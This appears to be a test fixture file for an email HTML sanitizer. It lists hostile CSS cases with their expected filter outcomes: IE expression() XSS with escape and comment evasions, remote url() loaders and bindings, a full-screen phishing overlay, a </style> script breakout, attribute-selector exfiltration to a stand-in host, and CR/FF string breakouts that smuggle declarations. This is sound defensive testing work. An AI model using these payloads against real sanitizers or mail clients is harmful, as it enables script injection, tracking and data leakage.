# QA-15, MIM-17, MIM-18, QA-31: hostile CSS, inline and through the <style> pre-pass.
# Patterns from the OWASP filter-evasion cheat sheet (expression, escapes, comment
# splits), the IE/Gecko behaviour bindings, and mail-tracking practice. The QA-31 test
# (test_css_boundary.py) feeds a further list of declarations through every route.

== css-expression
source: OWASP (IE expression)
expect: no-css-value=expression( keeps-text=SAFE
--
<div style="width:expression(alert(1))">SAFE</div>

== css-expression-comment-split
source: OWASP (comments inside expression)
expect: no-css-value=expression( keeps-text=SAFE
--
<div style="width:expr/*XSS*/ession(alert(1))">SAFE</div>

== css-expression-escaped
source: OWASP (CSS escapes)
expect: no-css-value=expression( keeps-text=SAFE
--
<div style="width:\65 xpression(alert(1))">SAFE</div><div style="width:e\x\p\r\e\s\s\i\o\n(alert(1))">x</div><div style="width:\000065xpression(alert(1))">x</div>

== css-expression-fullwidth
source: IE accepted fullwidth letters in expression
expect: keeps-text=SAFE
--
<div style="width:ｅｘｐｒｅｓｓｉｏｎ(alert(1))">SAFE</div>

== css-url-escaped
expect: no-css-value=url( keeps-text=SAFE
--
<div style="background:\75 rl(https://e.test/a.png)">SAFE</div><div style="background:u\72l(https://e.test/b.png)">x</div><div style="background:\u\r\l(https://e.test/c.png)">y</div>

== css-url-comment-split
expect: no-css-value=url( keeps-text=SAFE
--
<div style="background:u/**/rl(https://e.test/a.png)">SAFE</div><div style="background:url/**/(https://e.test/b.png)">x</div>

== css-url-entity
source: HTML entities decode before CSS sees the value
expect: no-css-value=url( keeps-text=SAFE
--
<div style="background:&#117;&#114;&#108;(https://e.test/a.png)">SAFE</div><div style="background:url&#40;https://e.test/b.png&#41;">x</div>

== css-url-uppercase
expect: no-css-value=url( keeps-text=SAFE
--
<div style="BACKGROUND:URL(https://e.test/a.png)">SAFE</div>

== css-url-javascript
expect: no-css-value=url( no-css-value=javascript: keeps-text=SAFE
--
<div style="background:url(javascript:alert(1))">SAFE</div><div style="background:url('&#106;avascript:alert(1)')">x</div>

== css-url-unclosed
expect: no-css-value=url( keeps-text=SAFE
--
<div style="background:url('https://e.test/a.png">SAFE</div><div style="background:url(https://e.test/b.png">x</div>

== css-image-set
expect: no-css-value=image-set( no-css-value=url( keeps-text=SAFE
--
<div style="background:image-set('https://e.test/a.png' 1x)">SAFE</div><div style="background:-webkit-image-set(url(https://e.test/b.png) 1x)">x</div>

== css-image-functions
expect: no-css-value=url( keeps-text=SAFE
--
<div style="background:image('https://e.test/a.png')">SAFE</div><div style="background:cross-fade(url(https://e.test/b.png),red 50%)">x</div><div style="background:-moz-element(#x)">y</div><div style="background:src('https://e.test/c.png')">z</div>

== css-import-inline
expect: no-css-value=@import keeps-text=SAFE
--
<div style="color:red;@import 'https://e.test/a.css'">SAFE</div><div style="@import url(https://e.test/b.css)">x</div>

== css-behavior
source: IE behaviour bindings (HTC)
expect: no-css=behavior no-css=-ms-behavior keeps-text=SAFE
--
<div style="behavior:url(#default#time2)">SAFE</div><div style="-ms-behavior:url(x.htc)">x</div>

== css-moz-binding
source: Gecko XBL bindings
expect: no-css=-moz-binding no-css-value=url( keeps-text=SAFE
--
<div style="-moz-binding:url(https://e.test/x.xml#xss)">SAFE</div>

== css-position-fixed
source: an overlay that covers the reader's chrome (phishing)
expect: no-css=position keeps-text=SAFE
--
<div style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;background:white">SAFE</div>

== css-position-variants
expect: no-css=position keeps-text=SAFE
--
<div style="POSITION:FIXED">SAFE</div><div style="position : fixed !important">x</div><div style="pos\69tion:fixed">y</div><div style="position:absolute">z</div><div style="position:sticky">w</div><div style="p/**/osition:fixed">v</div>

== css-other-loaders
expect: no-css-value=url( keeps-text=SAFE
--
<ul style="list-style-image:url(https://e.test/b.png)"><li>SAFE</li></ul><div style="border-image:url(https://e.test/c.png) 30 round">x</div><div style="cursor:url(https://e.test/c.cur),auto">x</div><div style="content:url(https://e.test/d.png)">x</div><div style="mask:url(https://e.test/m.svg#m)">x</div><div style="clip-path:url(https://e.test/c.svg#c)">x</div><div style="filter:url(https://e.test/f.svg#f)">x</div><div style="shape-outside:url(https://e.test/s.png)">x</div>

== css-ms-filter
source: IE AlphaImageLoader fetches its src
expect: no-css=filter no-css=-ms-filter keeps-text=SAFE
--
<div style="filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='https://e.test/x.png')">SAFE</div><div style="-ms-filter:'progid:DXImageTransform.Microsoft.AlphaImageLoader(src=https://e.test/x.png)'">x</div>

== css-unicode-bidi
source: bidi override spoofs text direction (e.g. a link's visible text)
expect: no-css=unicode-bidi keeps-text=SAFE
--
<span style="unicode-bidi:bidi-override;direction:rtl">SAFE</span>

== css-declaration-smuggled-in-value
source: a value that closes the declaration and opens another
expect: no-css=position keeps-text=SAFE
--
<div style="color:red;}*{position:fixed">SAFE</div><div style='font-family:"x;position:fixed"'>x</div>

== css-block-expression
expect: no-css-value=expression( keeps-text=SAFE
--
<style>p{width:expression(alert(1))}</style><p>SAFE</p>

== css-block-position-fixed
expect: no-css=position keeps-text=SAFE
--
<style>*{position:fixed} div{position:fixed;top:0}</style><div>SAFE</div>

== css-block-behavior-binding
expect: no-css=behavior no-css=-moz-binding keeps-text=SAFE
--
<style>p{behavior:url(x.htc);-moz-binding:url(https://e.test/x.xml#b)}</style><p>SAFE</p>

== css-block-escaped-url
expect: no-css-value=url( keeps-text=SAFE
--
<style>p{background:u\72l(https://e.test/a.png)} div{background:\75 rl(https://e.test/b.png)}</style><p>SAFE</p><div>x</div>

== css-block-escaped-import
expect: no-css-value=@import keeps-text=SAFE
--
<style>@\69mport url(https://e.test/a.css);@IMPORT "https://e.test/b.css";</style><p>SAFE</p>

== css-block-comment-tricks
expect: no-css=position no-css-value=url( keeps-text=SAFE
--
<style>p{color:red/*}*/;position:fixed}/*/p{background:url(https://e.test/a.png)}/**/</style><p>SAFE</p>

== css-block-html-comment-wrapping
source: legacy <!-- --> wrapping of style content
expect: no-css=position keeps-text=SAFE
--
<style><!-- p{position:fixed} --></style><p>SAFE</p>

== css-block-closing-tag-in-string
source: </style> inside a CSS string still closes the element
expect: no-element=script no-text=alert keeps-text=SAFE
--
<style>p{font-family:"</style><script>alert(1)</script>"}</style><p>SAFE</p>

== css-block-attribute-selector-exfil
source: attribute selectors with backgrounds leak attribute values (CSS exfiltration)
expect: no-css-value=url( remote=0 keeps-text=SAFE
--
<style>a[href^="https://a"]{background:url(https://e.test/?a)} a[href^="https://b"]{background:url(https://e.test/?b)}</style><a href="https://a.e.test/">SAFE</a>

== css-block-unsupported-selectors
expect: no-css=position keeps-text=SAFE
--
<style>p:first-child{position:fixed} p::before{content:"x";position:fixed} p > b{position:fixed} p + p{position:fixed} :root{position:fixed}</style><p>SAFE<b>b</b></p><p>x</p>

== css-block-keyframes-font-face-namespace
expect: no-css-value=url( keeps-text=SAFE
--
<style>@keyframes k{from{background:url(https://e.test/a.png)}} @namespace url(https://e.test/ns); @supports (color:red){p{background:url(https://e.test/b.png)}} @charset "utf-8"; @page{background:url(https://e.test/c.png)}</style><p>SAFE</p>

== css-block-important-cascade
source: !important in a block must not let a forbidden property in
expect: no-css=position keeps-text=SAFE
--
<style>p{position:fixed!important}</style><p style="color:red">SAFE</p>

== css-block-many-blocks
expect: no-css=position no-css-value=url( keeps-text=SAFE
--
<style>p{color:red}</style><style>p{position:fixed}</style><div><style>p{background:url(https://e.test/a.png)}</style></div><p>SAFE</p>

== css-block-in-body-and-in-svg
expect: no-css=position no-element=svg keeps-text=SAFE
--
<p>SAFE</p><svg><style>p{position:fixed}</style></svg><style>p{position:fixed}</style>

== css-benign-survives
source: MIM-18: styling from a block is inlined; this checks the stage is not inert
expect: css=color keeps-text=SAFE
--
<style>p{color:#123456}</style><p>SAFE</p>

== css-string-cr-breakout
source: found by E against the real pipeline: CR (CSS newline) ends a string for nh3's CSS parser, not for the filter's scanner
expect: no-css-value=url( remote=0 keeps-text=SAFE
--
<p style="color:&quot;&#13;;background:url(https://e.test/x.png);&quot;">SAFE</p>

== css-string-ff-breakout
expect: no-css-value=url( no-css=position keeps-text=SAFE
--
<p style="font-family:'x&#12;;background:url(https://e.test/x.png);position:fixed;'">SAFE</p>

== css-string-crlf-breakout
expect: no-css-value=url( keeps-text=SAFE
--
<p style="font-family:&quot;x&#13;&#10;;background:#fff url(https://e.test/x.png);&quot;">SAFE</p>
